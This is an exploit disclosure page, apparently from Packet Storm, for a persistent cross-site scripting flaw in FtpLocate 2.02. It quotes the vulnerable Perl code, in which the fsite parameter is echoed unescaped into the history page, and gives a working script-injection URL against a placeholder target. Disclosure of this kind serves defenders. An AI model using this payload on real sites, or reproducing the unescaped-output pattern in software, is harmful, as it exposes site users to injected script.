what you don't know can hurt you

FtpLocate 2.02 Cross Site Scripting

FtpLocate 2.02 Cross Site Scripting
Posted Jun 24, 2013
Authored by Chako

FtpLocate version 2.02 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | c65fa0111f8e56a73f2f0cf1a389b4ee

FtpLocate 2.02 Cross Site Scripting

Change Mirror Download


#############################################################
#
# Exploit Title: FtpLocate 2.02 Persistent XSS
# Date: 2013/6/23
# Exploit Author: Chako
# Firmware Version: 2.02
# Tested on: Windows 7
# Vendor Homepage: http://turtle.ee.ncku.edu.tw/ftplocate/readme.english.html
# http://www.freshports.org/ftp/ftplocate/
# File Download: ftp://ftp.freebsd.org/pub/FreeBSD/ports/distfiles/ftplocate-2.02.tar.gz
#############################################################


/bin/flsearch.pl (LINE: 22-34)
-----------------------------------------------------------------------------
$query=clean_str($input{'query'}); $query_raw=CGI::escape($query);
$fsite=clean_str($input{'fsite'}); $fsite_raw=CGI::escape($fsite);
$page=$input{'page'};
$client=ip2fqdn(client_ip());

if ( $fsite eq "" ) {
$resultfname=$query_raw;
$CGIF="";
$STRF="";
} else {
$resultfname=$query_raw."-$fsite";
$CGIF="&fsite=$fsite_raw"; # for cgi page list
$STRF=" $fsite"; # for output
}
-----------------------------------------------------------------------------


/bin/flhistory.pl (LINE: 85-110)
-----------------------------------------------------------------------------
$rmax=$#log-$logmin;
$rmin=$#log-$logmax;
for ($i=$rmax; $i>=$rmin; $i--) {
($date, $time, $usedtime, $client, $_, $cache, $founditem, $query)=split(/\s/,$log[$i],8);
($script,$fsite)=/(.*)\((.*)\)/;
if ( $script =~ "flserv" ) { $script="flsearch"; }
$url=dirname($ENV{'SCRIPT_NAME'})."/$script.pl?query=".CGI::escape($query)."&fsite=$fsite";
$q=safe_query_str($query);
if ( $nowclient eq $client ) {
$color="#c00000";
} else {
$color="#000000";
}

print qq|<tr>
<td nowrap><font size=-1>$date</font></td>
<td nowrap><font size=-1>$time</font></td>
<td align=center nowrap><font size=-1>$usedtime</font></td>
<td nowrap><font size=-1 color=$color>$client</font></td>
<td nowrap><font size=-1 color=#999999>$script($fsite)</font></td>
<td align=center nowrap><font size=-1>$cache</font></td>
<td align=center nowrap><font size=-1>$founditem</font></td>
<td nowrap><font size=-1><a href="$url">$q</a></font></td>
</tr>
|;
}
-----------------------------------------------------------------------------


Sample Output from flhistory.pl :
-----------------------------------------------------------------------------
<td nowrap><font size=-1 color=#999999>flsearch(<script>alert('xss')</script>)</font></td>


Exploit:
-----------------------------------------------------------------------------

http://Target_Example/cgi-bin/ftplocate/flsearch.pl?query=FTP&fsite=<script>alert('xss')</script>




Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    37 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close